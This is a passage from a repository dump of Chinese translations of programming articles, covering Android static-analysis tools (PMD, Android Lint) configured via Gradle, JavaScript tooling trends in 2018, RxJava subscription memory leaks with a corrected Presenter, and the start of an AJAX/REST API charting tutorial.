简介\n\n这个工具十分有趣：`PMD`并没有一个真正的名字。在官方网站上你会发现一些有趣的命名建议：\n\n*   Pretty Much Done\n*   Project Meets Deadline\n\n实际上，`PMD`是一个非常强大的工具。它的工作方式有点像`Findbugs`，但它直接检查源码而非字节码(另外，PMD支持大量语言)。目标也和`Findbugs`高度相似--通过静态分析找出能导致bug的模式。那么为什么我们还要同时使用`Findbugs`和`PMD`呢？好吧，尽管`Findbugs`和`PMD`的目标一致，但它们的检查方法并不同。因此`PMD`有时可以找到`Findbugs`找不到的bug，反过来也一样。\n\n## 通过Gradle配置\n\n以下代码展示了在你项目中使用`PMD`的基本配置(作为一个`Gradle`任务)：\n\n```Gradle\ntask pmd(type: Pmd) {\n    ruleSetFiles = files(\"${project.rootDir}/config/quality/pmd/pmd-ruleset.xml\")\n    ignoreFailures = false\n    ruleSets = []\n\n    source 'src'\n    include '**/*.java'\n    exclude '**/gen/**'\n\n    reports {\n        xml.enabled = false\n        html.enabled = true\n        xml {\n            destination \"$project.buildDir/reports/pmd/pmd.xml\"\n        }\n        html {\n            destination \"$project.buildDir/reports/pmd/pmd.html\"\n        }\n    }\n}\n```\n\n`PMD`的结果同样与`Findbugs`有许多相同之处。`PMD`的报告同样支持`HTML`和`XML`,因此我再次选择了`HTML`的格式。我强烈建议使用你自己的自定义规则集文件，就像我在例子中做的这样([参照这个文件](https://github.com/vincentbrison/vb-android-app-quality/blob/master/config/quality/pmd/pmd-ruleset.xml))。当然，你还需要看一下[自定义规则集的文档](http://pmd.sourceforge.net/pmd-5.1.1/howtomakearuleset.html)。我这么建议是因为`PMD`相比`Findbugs`而言更具争议。比如，如果你没有折叠if条件语句或写了一个空的if条件语句，它一般就会警告你。我认为应该由你或你的同事为你们的项目来定义这些规则是否正确。像我自己就喜欢不折叠if条件语句，因为这样更具可读性。执行`PMD`的方式和`Checkstyle`完全一样(只是名字变成了\"PMD\")。\n\n## PMD使用技巧\n\n由于我推荐你不要使用默认的规则集，你需要加上这行代码(上面已经加上了)\n```\nruleSets = []\n```\n\n不加的话，由于默认值是基本的规则集，那些默认的规则集会始终伴随你自定义的规则集一起执行。这样即使你在自定义的规则集中指明不使用基础规则集中的规则，它们仍然会被考虑在内。\n\n# Android Lint\n\n## 简介\n>Android lint 工具是一个静态代码分析工具。它通过你Android项目的源码检测出潜在的错误，并为项目在正确性，安全性，性能，可用性，\n易用性和国际化等方面提供最佳的改进方案。\n\n正如其官网所说，`Android Lint`是一款专注于Android的静态分析工具。它非常强大，能给出大量建议来提高你代码的质量。\n\n## 通过Gradle配置\n\n```Gradle\nandroid {\n    lintOptions {\n    abortOnError true\n\n    lintConfig file(\"${project.rootDir}/config/quality/lint/lint.xml\")\n\n    // if true, generate an HTML report (with issue explanations, sourcecode, etc)\n    htmlReport true\n    // optional path to report (default will be lint-results.html in the builddir)\n    htmlOutput file(\"$project.buildDir/reports/lint/lint.html\")\n}\n```\n\n我推荐你使用一个单独的文件来定义哪些规则应该使用。[这个网站](http://tools.android.com/tips/lint-checks)定义了所有来自最新ADT版本的规则。除了\"ignore\"中\"severity\"级别的规则外，我的demo中的`Lint`文件包含了所有规则：\n\n* IconDensities：这个规则确保你为每一种分辨率都设置了对应的图片资源(除ldpi外)。\n* IconDipSize：这个规则确保你正确地定义了资源的每种尺寸。(换句话说，检查你是否为不同分辨率定义了完全相同的图片，而没有重新设置图片大小)。\n\n所以你能直接复用这份`lint`文件并激活所有你想要的规则。执行`Android Lint`任务的方式和`Checkstyle`完全一样(只是名字变成了\"lint\")。\n\n## Android Lint使用技巧\n\n`Android Lint`没有什么特殊的使用技巧，你只需要记住，`Android Lint`总是会测试除\"ignore\"中\"severity\"级别的规则外的所有规则。所以如果随着ADT的新版本出现了新的规则，它们会被检查，而不会被忽略。\n\n# 通过一个任务管理以上所有工具\n\n现在你已经掌握了为你项目使用4个质量控制工具的关键。但如果你能同时使用4个工具就更好了。你能在你的Gradle任务之间添加依赖，比如当你执行一个任务时，另外一个会在第一个任务完成后执行。一般在Gradle中，你通过\"check\"任务为你的质量工具添加依赖：\n\n```Gradle\ncheck.dependsOn 'checkstyle', 'findbugs', 'pmd', 'lint'\n```\n现在，当你执行\"check\"任务，`Checkstyle`， `Findbugs`， `PMD`， 和`Android Lint` 都会被执行。这是一个非常好的方式来在你commit/push/请求合并之前检查代码质量。\n\n你能在[这个Gradle文件](https://github.com/vincentbrison/vb-android-app-quality/blob/master/config/quality.gradle)中获得所有这些任务的示例。你能在demo源码的`config/quality`文件夹中找到所有关于质量控制的配置和gradle文件。\n\n# 总结\n\n正如这篇文章介绍的，Android的质量控制工具配合`Gradle`使用非常简单。质量控制工具不仅仅能检查你电脑中的本地项目，还能检查一些自动化构建平台上的代码，比如Jenkins/Hudson等。这使你能将质量控制的工作依附于自动构建系统，实现自动化。执行所有测试的命令与执行Jenkins和Hudson相同，最简单的命令是：\n\n```Gradle\ngradle check\n```\n\n请自由评论这篇文章，或者咨询任何与Android代码质量相关的问题！[😉](http://s.w.org/images/core/emoji/72x72/1f609.png)\n\n快去实践吧！\n"
  },
  {
    "path": "TODO/how-to-javascript-in-2018.md",
    "content": "> * 原文地址：[How to JavaScript in 2018](https://www.telerik.com/blogs/how-to-javascript-in-2018)\n> * 原文作者：[Tara Z. Manicsic](https://www.telerik.com/blogs/author/tara-manicsic)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-javascript-in-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-javascript-in-2018.md)\n> * 译者：[llp0574](https://github.com/llp0574)\n> * 校对者：[MechanicianW](https://github.com/MechanicianW)、[ParadeTo](https://github.com/ParadeTo)\n\n# 2018 如何玩转 JavaScript\n\n![](https://d585tldpucybw.cloudfront.net/sfimages/default-source/default-album/js_870x220_2.png?sfvrsn=2cce35f7_1)\n\n**从命令行工具和 webpack 到 TypeScript 和 Flow 等，让我们来谈一下在 2018 年如何玩转 JavaScript。**\n\n去年包括我自己在内的许多人都在[讨论 JavaScript 疲劳症的问题](https://developer.telerik.com/topics/web-development/javascripts-journey-2016/)。实际上编写 JavaScript 应用的方法依然繁多，但在大量命令行工具处理了很多繁重工作的情况下，编译开始变得不那么重要，并且 TypeScript 试图减少类型错误，我们可以稍微轻松一点。\n\n注意：这篇博文是我们白皮书的一部分，《[JavaScript 的未来：2018 及以后](https://www.telerik.com/campaigns/kendo-ui/wp-javascript-future-2018)》，里面讲述了我们对 JavaScript 未来的分析及近况的预测。\n\n## 命令行工具\n\n大多数库和框架都有[命令行工具](https://www.telerik.com/campaigns/aspnet-mvc/net-cli-reinvented)，一行命令就可以搭建好项目结构，快速创建我们期望的内容。这种做法通常包含一个开始命令（有时候会有一个自动加载器）、构建命令、测试结构等。当我们创建新项目的时候，这些工具可以减少大量的冗余文件。让我们来看看一些命令行工具帮助我们减少了什么东西。\n\n### Webpack 配置\n\n配置 webpack 构建过程并真正理解其中原理，可能是 2017 年最艰巨的学习曲线之一。值得感谢的是，webpack 其中一个核心贡献者 [Sean Larkin](https://twitter.com/thelarkinn)，到处在进行[很棒的演讲](https://www.youtube.com/watch?v=4tQiJaFzuJ8&t=3526s)，并提供[真正有趣且有用的教程](https://www.twitch.tv/videos/209664650?t=1h57m40s)给我们学习。\n\n如今许多框架不仅会为你创建 webpack 配置文件，甚至还会把它们放到你根本不需要看的地方 😮。[Vue 的 CLI 工具](https://github.com/vuejs/vue-cli)甚至有一个[特定的 webpack 模板](https://github.com/vuejs-templates/webpack)，提供了一个功能齐全的 webpack 设置。为了全面让大家了解命令行工具到底提供了什么功能，下面是这个 Vue CLI 模板包含的内容，直接从官方仓库拿出来看：\n\n*   `npm run dev`: 首选开发体验\n    *   对单个文件的 Vue 组件使用 Webpack + `vue-loader`\n    *   热重载保留状态\n    *   编译错误覆盖保留状态\n    *   保存文件时调用 ESLint\n    *   源文件映射\n*   `npm run build`: 生产环境准备构建\n    *   用 [UglifyJS v3](https://github.com/mishoo/UglifyJS2/tree/harmony) 压缩 JavaScript\n    *   用 [html-minifier](https://github.com/kangax/html-minifier) 压缩 HTML\n    *   将所有组件的 CSS 提取到一个独立文件并用 [cssnano](https://github.com/ben-eb/cssnano) 压缩\n    *   使用版本哈希编译的静态资源用于高效的长期缓存，并自动生成生产环境的 index.html，使用正确的 URL 指向这些资源\n    *   使用 `npm run build --report` 进行构建，用于分析打包大小\n*   `npm run unit`: 在 [JSDOM](https://github.com/tmpvar/jsdom) 里使用 [Jest](https://facebook.github.io/jest/) 运行单元测试，或者在 PhantomJS 里用 Karma + Mocha + karma-webpack 运行\n    *   在测试文件里支持 ES2015+\n    *   简单的数据模拟\n*   `npm run e2e`: 用 [Nightwatch](http://nightwatchjs.org/) 做端对端测试\n    *   在多个浏览器里并行运行测试\n    *   一行命令开箱即用：\n        *   自动处理 Selenium 和 chromedriver 的依赖\n        *   自动生成 Selenium 服务器\n\n另一方面，[preact-cli](https://github.com/developit/preact-cli#webpack) 负责标准的 webpack 功能。如果你需要自定义 webpack 配置的话只需要创建一个 `preact.config.js` 文件，这个文件会输出一个函数使得你的 webpack 产生变化。这么多的工具，这么多帮助，开发者互助 💞。\n\n## 开启还是关闭 Babel\n\n明白了吗？听起来像 Babylon 😂。我不禁笑出了声。我并不是**真的**要把 Babel 和 Babylon 古城联系在一起，但有[讨论](https://medium.freecodecamp.org/you-might-not-need-to-transpile-your-javascript-4d5e0a438ca)说它可能真的可以消除我们对编译的依赖。在过去几年里 Babel 真的可以说是一件大事，因为我们想要 ECMAScript 提出的所有闪光点，但又不想等待浏览器缓慢的支持。随着 ECMAScript 发布速度的减缓，浏览器支持有可能会追赶上。如果没有一些很棒的 [kangax 兼容性](https://twitter.com/kangax?lang=en)图表，又怎算是一篇 JavaScript 文章呢？\n\n这些图表的图片看起来不那么易读，因为我想表达的只是它们几乎都是绿色！想知道完整细节的话只需点击图片下方的链接，从而深入审查这些图表。\n\n[![look at all that green](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/compatibility-es6.png?sfvrsn=81c1b8d1_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/compatibility-es6.png?sfvrsn=81c1b8d1_1)\n\n[es6 的兼容性](http://kangax.github.io/compat-table/es6/)\n\n[![still looking green](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/compatibility-2016.png?sfvrsn=43f89061_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/compatibility-2016.png?sfvrsn=43f89061_1)\n\n[es2016+ 的兼容性](http://kangax.github.io/compat-table/es2016plus/)\n\n第一个图表里左边那些红色的块都是编译器(如 es-6 shim、Closure 等）和旧的浏览器（如 Kong 4.14 和 IE 11 等）。然后右侧的五个红色块都是服务器或编译器，如 PJS、JXA、Node 4、DUK 1.8 和 DUK 2.2 等。在较下面的图上，看起来像一只乱画的狗在看着乱七八糟感叹号的红色部分，是只包含 Node 6.5+ 支持的服务器或运行时。左边红色正方形的构成则是编译器或 polyfil 以及 IE 11 的支持。更重要的是，**看看那些绿色的部分！**在最流行的浏览器里，我们看到几乎都是绿色的。2017 特性仅有的红色标记是在 Firefox 52 的 ESR 对共享内存和原子化的支持。\n\n从其他某些角度来看，下面是从 [维基百科](https://en.wikipedia.org/wiki/Usage_share_of_web_browsers) 得到的某些浏览器使用百分比。\n\n[![browser user statistics](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/browser-user-statistics.png?sfvrsn=896a6611_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/browser-user-statistics.png?sfvrsn=896a6611_1)\n\n好吧，停用 Babel 可能还需要很长一段时间，因为我们还是尽最大可能让使用低版本浏览器的用户可以正常使用我们的应用。考虑到我们可能可以摆脱掉这个额外的步骤是很有趣的。你知道的，就像以前那样，当我们还没有使用编译器的时候 😆。\n\n## 讨论 TypeScript\n\n如果我们讨论要如何玩转 JavaScript，那么我们必须得讨论到 [TypeScript](https://www.typescriptlang.org/)。五年前 TypeScript 从微软工作室横空出世，但在 2017 年它已经成为一门很酷的语言 😎。很少有会议没有“为什么我们爱 TypeScript”这类主题的演讲，这就跟新的开发者万人迷一样。本文不再歌颂 TypeScript，让我们来讨论一下为什么如此看重它。\n\n为了每个想要在 JavaScript 里使用类型的开发者，TypeScript 在这里提供了一个严格的 JavaScript 语法超集，赋予了可选的静态类型。如果你体验过，就会发现那是相当酷的。当然，如果你看一下 [JavaScript 状态](https://stateofjs.com/2017/introduction/)的最新调查结果，就会发现似乎事实上大量开发者都喜欢这么做。\n\n[![JS Flavors Comparison](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/js-flavors-comparison.png?sfvrsn=14077aa8_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/js-flavors-comparison.png?sfvrsn=14077aa8_1)\n\n来自 [JavaScript 状态](https://stateofjs.com/2017/introduction/).\n\n要想直接从源头找到它，可以看一下这段来自 Brian Terlson 的引用：\n\n> 作为在 2014 年为 JavaScript 提出类型的人：我不相信类型会在不远的将来出现。从标准的角度看，这是一个非常复杂的问题。如果只是采取 TypeScript 作为标准，对于 TypeScript 用户来说当然是极好的，但还有其他类型的 JS 超集，包括 closure 编译器和 flow。这些工具全部表现得不一样，并且甚至不清楚是否有一个共同的子集（我不认为这有什么明显的意义）。我十分不确定类型的标准应该是什么样子，我和其他人会继续调研这个事情，因为它是非常有好处的，但不要期望在短时间内取得突破 - [HashNode AMA with Brian Terlson](https://hashnode.com/ama/with-brian-terlson-cj6vu9vjv01nmo1wu8vmtt1x9#cj6vuspfq01oso1wuhjo5zvd6)\n\n### TypeScript ❤s Flow\n\n在 2017 年，你可能看过许多[博文](http://thejameskyle.com/adopting-flow-and-typescript.html)讨论 TypeScript + Flow 的组合。[Flow](https://flow.org/) 是为 JavaScript 设计的一款静态类型检查器。正如你在上述 JavaScript 状态的调查图表里看到的那样，对 Flow 感兴趣和不感兴趣的人几乎一样多。更有趣的是统计数据还显示了接受调查的人里有多少人仍然没听说过 Flow ⏰。2018 年随着人们对 Flow 有更多的了解，他们会发现 Flow 和 [Minko Gechev](https://twitter.com/mgechev/status/940131449025347589) 一样有用：\n\n> TypeScript & Flow 消除了 15% 的生产环境 bug！还认为类型系统没用吗？[https://t.co/koG7dFCSgF](https://t.co/koG7dFCSgF)\n>\n> — Minko Gechev (@mgechev) [December 11, 2017](https://twitter.com/mgechev/status/940131449025347589?ref_src=twsrc%5Etfw)\n\n### Angular ❤s TypeScript\n\n有人可能已经注意到 Angular 文档中所有示例代码都是用 TypeScript 编写的。一度你可以选择使用 JavaScript 或 TypeScript 浏览教程，但似乎 Angular 已经开始转变态度了。下面 Angular 和 JS 之间的连接图，可以看到实际上有更多用户将 Angular 连接到 ES6（TypeScript: 3777, ES6: 3997）。我们将在 2018 年看到所有这些因素是否会影响 Angular。\n\n[![angular connections](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/angular-connections.png?sfvrsn=192c96f4_1)](https://d585tldpucybw.cloudfront.net/sfimages/default-source/blogs/2018/2018-02/angular-connections.png?sfvrsn=192c96f4_1)\n\n来自 [JavaScript 状态](https://stateofjs.com/2017/introduction/).\n\n对于如何为你的下个应用选择正确的 JavaScript 框架想要得到专业建议的话，可以看一下[这份很棒的白皮书](https://www.telerik.com/campaigns/kendo-ui/wp-javascript-future-2018)。\n\n毋庸置疑，我们编写 JavaScript 的方式将在 2018 年发生变化。作为程序员，我们喜欢制作和使用让我们的工作更轻松的工具。不幸的是，这有时会导致更多的混乱和太多的选择。值得感谢的是，命令行工具正在帮助我们减轻一些繁琐的工作，并且 TypeScript 已经满足了那些对类型错误感到厌烦的开发者。\n\n### JavaScript 的未来\n\n想要深入了解我们在 JavaScript 方面的发展方向吗？查看我们的新文章，《JavaScript 的未来：2018 及以后》。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-to-leak-memory-with-subscriptions-in-rxjava.md",
    "content": "> * 原文地址：[How to leak memory with Subscriptions in RxJava](https://medium.com/@scanarch/how-to-leak-memory-with-subscriptions-in-rxjava-ae0ef01ad361#.frvn3pkux)\n* 原文作者：[Marcin Robaczyński](https://medium.com/@scanarch)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [tanglie1993](https://github.com/tanglie1993)\n* 校对者：[ilumer](https://github.com/ilumer), [jamweak](https://github.com/jamweak)\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*aroR2HpWJo8simEzPVRgjQ.jpeg)\n\n# RxJava 中的 Subscriptions 是怎样泄露内存的\n\n关于 RxJava 已经有了很多很好的教程文章。在使用 Android 框架时，它确实显著地简化了工作。然而需要注意，这种简化有它自己的缺陷。在接下来的部分中，你将探索其中的一个，从而了解 RxJava 的 Subscriptions 有多容易造成内存泄漏。\n\n\n\n### 解决简单任务\n\n假设你的主管让你实现一个显示随机的电影名的控件。它必须基于一些外部的推荐服务。这个控件应当根据用户要求显示电影名称。如果用户没有要求，它也可以自己显示。你的主管还希望它可以存储一些和用户交互有关的信息。\n有很多办法可以实现这一点。基于 MVP 的方法是其中之一。你可以创建一个包含 ProgressBar 和 TextView 的 view。`RecommendedMovieUseCase`负责提供一个随机的电影名。\n`Presenter`和一个用例相连，并在 view 上显示一个标题。 Presenter 的状态是被保存在内存中的，甚至在 Activity（在 `NonConfigurationScope` 中）被重新创建时，它也还会在内存中。\n这是你的 Presenter 的样子。在这篇文章中，我们假定你想要存储一个用于标志用户是否点击了标题的 flag。\n\n```\n@NonConfigurationScope\npublic class Presenter {\n\n    private final RecommendMovieUseCase recommendMovieUseCase;\n\n    private Subscription subscription = Subscriptions.empty();\n    private MovieSuggestionView view;\n    private boolean didUserTapTitle;\n\n    public Presenter(RecommendMovieUseCase recommendMovieUseCase) {\n        this.recommendMovieUseCase = recommendMovieUseCase;\n    }\n\n    public void setView(@NonNull MovieSuggestionView view) {\n        this.view = view;\n    }\n    \n    public void present() {\n        showRecommendedMovieTitle(view);\n    }\n\n    private void showRecommendedMovieTitle(final MovieSuggestionView view) {\n        view.showProgress();\n        subscription = recommendMovieUseCase.recommendRandomMovie()\n                .subscribeOn(Schedulers.io())\n                .observeOn(AndroidSchedulers.mainThread())\n                .subscribe(new Action1<String>() {\n                    @Override\n                    public void call(String movieTitle) {\n                        view.hideProgress();\n                        view.showTitle(movieTitle);\n                    }\n                }, new Action1<Throwable>() {\n                    @Override\n                    public void call(Throwable throwable) {\n                        view.hideProgress();\n                        view.showLoadingError();\n                    }\n                });\n    }\n\n    public void onViewTapped() {\n        didUserTapTitle = true;\n    }\n\n    public void destroy() {\n        subscription.unsubscribe();\n        view = null;\n    }\n}\n\n```\n当用户请求推荐时，一个控件将会被加入紫色的容器。在用户决定清除它之后，它将会被移除。\n\n![](https://cdn-images-1.medium.com/max/1600/1*C85wCkIAGeDiLIPGNXk8Iw.gif)\n\n目前一切看起来都没问题。\n\n安全起见，我们决定在 debug build 中初始化 StrictMode。\n我们开始试用 app，并尝试把我们的设备旋转几次。突然，一条 log 消息出现了。\n\n![](https://cdn-images-1.medium.com/max/2000/1*JF-royfW1_twemFL3Gn88Q.png)\n\n这听起来不对。你可以尝试导出目前的内存状态，仔细研究这个问题：\n\n![](https://cdn-images-1.medium.com/max/2000/1*e8IblGcaEdyFJC1jCYOpGw.png)\n\n罪魁祸首是蓝色字体标出的部分。由于某种原因，仍然有一个 `MovieSuggestionView` 的实例持有对原有 `MainActivity` 的引用。\n\n但是为什么？你已经注销了后台的工作，并在从你的 `Presenter` 中删除 view 时清除了对 `MovieSuggestionView` 的引用。这个泄露出自哪里？\n\n### 查找泄露\n\n通过把引用存储到 `Subscription`，你实际上把 `ActionSubscriber<T>` 的实例存储起来了。它看上去像这样：\n\n```\npublic final class ActionSubscriber<T> extends Subscriber<T> {\n\n    final Action1<? super T> onNext;\n    final Action1<Throwable> onError;\n    final Action0 onCompleted;\n\n    ...\n}\n```\n由于 `onNext`, `onError` 和 `onCompleted` 是 final 变量，你没有办法把它们设为 null。问题是在 `Subscriber` 上调用 `unsubscribe()` 只会把它标志为已注销（也会做些别的事情，但对我们来说不重要）。\n\n对于那些怀疑这个 `ActionSubscriber` 从哪里来的人而言，你们可以看看 `subscribe` 方法的定义：\n\n```\npublic final Subscription subscribe(final Action1<? super T> onNext, final Action1<Throwable> onError) {\n    if (onNext == null) {\n        throw new IllegalArgumentException(\"onNext can not be null\");\n    }\n    if (onError == null) {\n        throw new IllegalArgumentException(\"onError can not be null\");\n    }\n    Action0 onCompleted = Actions.empty();\n    return subscribe(new ActionSubscriber<T>(onNext, onError, onCompleted));\n}\n```\n\n对 memory dump 的进一步分析证明：MovieSuggestionView 的引用仍然被保留在 `onNext` 和 `onError` 域的内部。\n\n![](https://cdn-images-1.medium.com/max/2000/1*VS65D4I9rNUvlQ34sGnFSw.png)\n\n为了更好地理解这个问题，请挖掘得更深一点，看你的代码编译后会发生什么。\n\n    => ls -1 app/build/intermediates/classes/debug/me/scana/subscriptionsleak\n\n    ...\n    Presenter$1.class\n    Presenter$2.class\n    Presenter.class\n    ...\n    \n你可以看到，除了你的主要的 `Presenter` 类之外，还有两个额外的类文件，分别对应你引入的两个匿名 `Action1<>` 类。\n\n我们使用非常方便的 *javap* 工具，看看其中一个匿名类内部发生着什么：\n\n    => javap -c Presenter\\$1\n    \n```\nclass me.scana.subscriptionsleak.Presenter$1 implements rx.functions.Action1<java.lang.String> {\n\n  final me.scana.subscriptionsleak.MovieSuggestionView val$view;\n  final me.scana.subscriptionsleak.Presenter this$0;\n  \n  me.scana.subscriptionsleak.Presenter$1(me.scana.subscriptionsleak.Presenter, me.scana.subscriptionsleak.MovieSuggestionView);\n    Code:\n      0: aload_0\n      1: aload_1\n      2: putfield #1 //Field this$0:Lme/scana/subscriptionsleak/Presenter;\n      5: aload_0\n      6: aload_2\n      7: putfield #2 //Field val$view:Lme/scana/subscriptionsleak/MovieSuggestionView;\n      ...\n}\nview raw\n```\n\n你可能听说过，一个匿名的类持有对外部类的隐式引用。**事实证明，匿名类会持有所有在它内部使用的变量。**\n\n因此，通过保留对 `Subscription` 对象的引用，你保留了用于处理电影名结果的匿名类的引用。它们保留了对你希望处理的 view 的引用，这就是内存泄露的地方。\n\n### 你已经知道了目前的问题所在，那么，如何解决呢？\n\n这很简单。\n\n你可以对 `Subscription` 对象调用 `Subscription.empty()`，从而清除对旧  `ActionObserver` 的引用。\n\n `CompositeSubscription` 类可以存储多个 `Subscription` 对象，并对他们进行  `unsubscribe()`。这可以使我们免于直接存储 `Subscription` 引用。记住，这还不会解决你的问题。引用仍然会被存储在 `CompositeSubscription` 内部。\n\n幸运的是，还有一个 `clear()` 方法，它注销所有东西并清除引用。它还允许你重用 `CompositeSubscription` 对象，而 `unsubscribe()` 会使你的对象完全不可用。\n\n这是修正过的 `Presenter` 类，它实现了一个前文提到的方法：\n\n```\n@NonConfigurationScope\npublic class NonLeakingPresenter implements Presenter {\n\n    private final RecommendMovieUseCase recommendMovieUseCase;\n\n    private CompositeSubscription compositeSubscription = new CompositeSubscription();\n    private MovieSuggestionView view;\n    private boolean didUserTapTitle;\n\n    public NonLeakingPresenter(RecommendMovieUseCase recommendMovieUseCase) {\n        this.recommendMovieUseCase = recommendMovieUseCase;\n    }\n\n    @Override\n    public void setView(@NonNull MovieSuggestionView view) {\n        this.view = view;\n    }\n    \n    @Override\n    public void present() {\n        showRecommendedMovieTitle(view);        \n    }\n\n    private void showRecommendedMovieTitle(final MovieSuggestionView view) {\n        view.showProgress();\n        Subscription subscription = recommendMovieUseCase.recommendRandomMovie()\n                .subscribeOn(Schedulers.io())\n                .observeOn(AndroidSchedulers.mainThread())\n                .subscribe(new Action1<String>() {\n                    @Override\n                    public void call(String movieTitle) {\n                        view.hideProgress();\n                        view.showTitle(movieTitle);\n                    }\n                }, new Action1<Throwable>() {\n                    @Override\n                    public void call(Throwable throwable) {\n                        view.hideProgress();\n                        view.showLoadingError();\n                    }\n                });\n        compositeSubscription.add(subscription);\n    }\n\n    @Override\n    public void onViewTapped() {\n        didUserTapTitle = true;\n    }\n\n    @Override\n    public void destroy() {\n        compositeSubscription.clear();\n        view = null;\n    }\n}\n```\n\n值得一提的是，你有很多方法可以解决这个问题。记住：没有一种解决方案适用于你遇到的所有问题。\n\n### 总结：\n\n- `Subscription` 对象持有对你的回调的 final 引用。你的回调可能引用和 Android 生命周期绑定的对象。如果不小心的话，他们都有可能造成内存泄露。\n- 你可以使用 StrictMode, javap, HPROF Viewer 等工具寻找和分析泄露的根源。我在文章中没有提及，但你也可以尝试 Square 的 LeakCanary。\n- 深入挖掘你日常使用的库，有助于解决潜在的问题。\n"
  },
  {
    "path": "TODO/how-to-make-a-chart-using-ajax-rest-apis.md",
    "content": "> * 原文地址：[How To Make A Chart Using AJAX & REST API's](https://blog.zingchart.com/2017/11/16/how-to-make-a-chart-using-ajax-rest-apis/?utm_source=frontendfocus&utm_medium=email)\n> * 原文作者：[Derek Fletes](https://blog.zingchart.com/author/derek/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-make-a-chart-using-ajax-rest-apis.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-make-a-chart-using-ajax-rest-apis.md)\n> * 译者：[sakila1012](https://github.com/sakila1012)\n> * 校对者：[easy-blue](https://github.com/easy-blue)，[Usey95](https://github.com/usey95)\n\n# 如何使用 AJAX 和 REST API 创建一个图表\n\n从 REST API 获取数据是一种很常见的编程模式，使用这些数据来绘制图表同样常见。\n\n我们的很多用户可能正在为他们的 Web 应用程序这么做，所以我想我们（ZingChart）应该写一篇关于如何正确使用的教程。\n\nREST API 基本上是一个公开的数据集（通常是 JSON），它位于某个 URL 中，并且可以通过 HTTP 请求以编程方式访问。\n\n**免责声明，本教程将在一般的 JavaScript 中运用。**\n\n我选择了 [Star Wars REST API](https://swapi.co/)作为 REST 端点，从中获取数据。我之所以选择它，是因为它会返回易于使用的 JSON 数据，还不需要身份验证。\n\n## 目录\n\n*   [AJAX 请求](#ajaxrequest)\n*   [使用响应式文本](#workingwithresponse)\n*   [渲染图表](#renderingachart)\n\n**如果你不想阅读教程，你可以在这里看到完整的代码（带注释）[](http://)**\n\n## AJAX 请求\n\nAJAX 是异步 JavaScript 和 XML。Ajax 是一组用于异步 HTTP 请求（GET，POST，PUT，DELETE）的方法。在这种情况下，异步意味着我们不必每次发出 HTTP 请求就重新加载页面。一个 AJAX 请求由 5 个步骤组成：\n\n1. 创建一个新的 HTTP 请求。\n\n2. 加载请求。\n\n3. 使用响应的数据。\n\n4. 创建请求。\n\n5. 发送请求。\n\n## 创建一个新的 HTTP 请求\n\n要初始化一个 AJAX 请求，我们必须创建一个新的实例并将其存储在一个变量中，如下所示：\n\n```\nvar xhr = new XMLHttpRequest();  \n\n```\n\n将它存储在一个变量中允许我们后期使用其他的 AJAX 方法。我称之为 'xhr'，因为这是一个简短的缩写，你也可以起一个你喜欢的变量名。\n\n## 加载请求\n\n我们的 AJAX 过程的下一步将是添加一个事件监听器到我们的请求。我们的事件监听器将响应一个 `load` 事件，一旦我们的请求加载就会触发。接下来是一个回调函数。\n\n在我们的事件监听器中，回调函数将在 if 语句流中运行。如果我们从 API 端点收到 “200” 状态（意味着请求完成），那么我们会做一些事情。\n\n整个顺序将如下所示：\n\n```\nxhr.addEventListener('load', function() {  \n  if (this.status == 200) {\n    // do something \n  }\n});\n```\n\n## 处理响应\n\n每个 AJAX 请求都会将数据返回给我们。微妙的部分是确保我们能够以我们想要的方式处理这些数据。在这个过程中将会接收我们可以从这个响应中处理的数据有四个步骤：\n\n1. 将响应解析成 JSON 并将其存储在变量中。\n\n2. 创建空数组，可以存放我们想要的数据。\n\n3. 遍历响应并将值放入我们的空数组中。\n\n4. 将数组中的值转换为可用数据。\n\n***这里每个步骤都将在我们事件监听器内部的 if 语句中执行。****\n\n### 解析响应\n\n每个响应都会返回一串数据。我们需要一个 JSON 对象，这样我们就可以遍历这些值。我们可以使用 `JSON.parse()` 方法将响应字符串转换为 JSON 格式。我们可以将它存储在一个名为 `response` 的变量中，以便后期我们可以像这样处理它：\n\n```\nvar response = JSON.parse(this.responseText);  \n```\n\n现在我们有一个存储在变量中的对象数组。你可以通过 `console.log(response);` 来查看完整的数组。\n\n在这个数组中，有一个我们想要使用的特定对象叫做 `results`。这个对象包含 Star Wars 的 `characters` 和关于他们的信息。我们将把这个对象保存在一个变量中，这样我们就可以在接下来的步骤中循环。\n\n我们可以在我们现有的 `response` 变量上使用 JSON 点符号来访问这个对象。我们将把它保存在一个名为 `characters` 的变量中。它看起来像这样：\n\n```\nvar characters = response.results;  \n```\n\n### 